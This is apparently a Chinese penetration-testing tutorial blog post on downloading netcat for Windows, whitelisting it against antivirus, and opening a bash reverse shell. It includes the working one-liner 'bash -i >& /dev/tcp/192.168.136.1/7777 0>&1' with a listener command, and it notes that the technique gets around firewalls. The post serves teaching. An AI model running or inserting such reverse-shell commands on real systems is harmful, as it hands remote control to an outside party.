今天继续给大家介绍渗透测试相关知识,本文主要内容是Windows nc命令下载使用与使用bash建立反弹shell。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、nc命令下载
nc,是NetCat的简称,有着网络安全领域“瑞士军刀”的美称。之所以被称为“瑞士军刀”,是因为nc工具小巧且功能强大,具有端口扫描、建立TCP/UDP链接,数据传输、网络调试等功能。
nc命令可以在官网上下载,下载URL为:https://eternallybored.org/misc/netcat/,页面如下所示:
点击上图中红色部分,就可以下载nc命令了,下载完成并解压后页面如下所示:
注意,解压后的nc.exe和nc64.exe有可能被杀软当作病毒处理,因此我们需要手动控制将其加入白名单或者是信任区。
我们可以根据自己的需要决定是否将nc命令纳入环境变量,在这里我选择不做环境变量,因此我每次使用nc命令都需要进入cmd后,将当前程序路径进入到解压后的nc命令目录才可以使用nc命令。
二、nc命令详解
nc命令常用参数如下所示:
-l:启动监听
-v、-vv:显示执行命令的过程,-vv比-v显示更加详细
-p:指定端口
-e:重定向一个程序
-z:用于扫描,直接显示结果
-u:表示使用udp协议
-t:表示使用tcp协议
-n:表示IP以数字形式显示
-w:表示设置超时时间
三、建立bash反弹shell详解
使用nc命令可以反弹shell,所谓反弹shell,是指在一些场景下,我们能够控制目标系统执行命令,但是无法看到命令执行情况。此时我们可以让目标系统主动连接攻击者,在建立TCP连接后,攻击者将shell命令发送给目标系统,目标系统将该shell命令执行的结果再传输给攻击者,攻击者从而拿到了目标系统的shell。这种攻击方式,前提是能够控制被攻击者执行系统命令,强大之处在于因为是反向连接,因此可以突破目标系统内网限制,也常常可以突破目标系统防火墙防护。
攻击者需要执行的命令如下所示:
nc -lvp 7777
执行该命令后,就会在本地监听7777端口,并等到目标系统回应。
在目标系统中,我们需要执行命令:
bash -i >& /dev/tcp/192.168.136.1/7777 0>&1
在这里192.168.136.1是我们开启nc命令监听的目标系统,7777为nc命令开启监听的端口号。
这时,我们可以在系统中发现建立连接,并且可以正常执行命令,结果如下所示:
在上述命令中,bash表示执行命令,-i参数表示交互式的执行命令。/dev/tcp/ip/port是Linux下的一个特殊的文件,该文件并不实际存在,但是如果指定IP的指定端口被监听,那么就可以通过此文件实现TCP链接通信。>&表示将错误输出和正常全部输出到TCP链接中,而0>&1则表示将标准输入重定向到标准输出中,即将TCP链接获得的数据输入到bash -i命令中,然后作为命令执行。
于是,我们就能够获取shell了。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200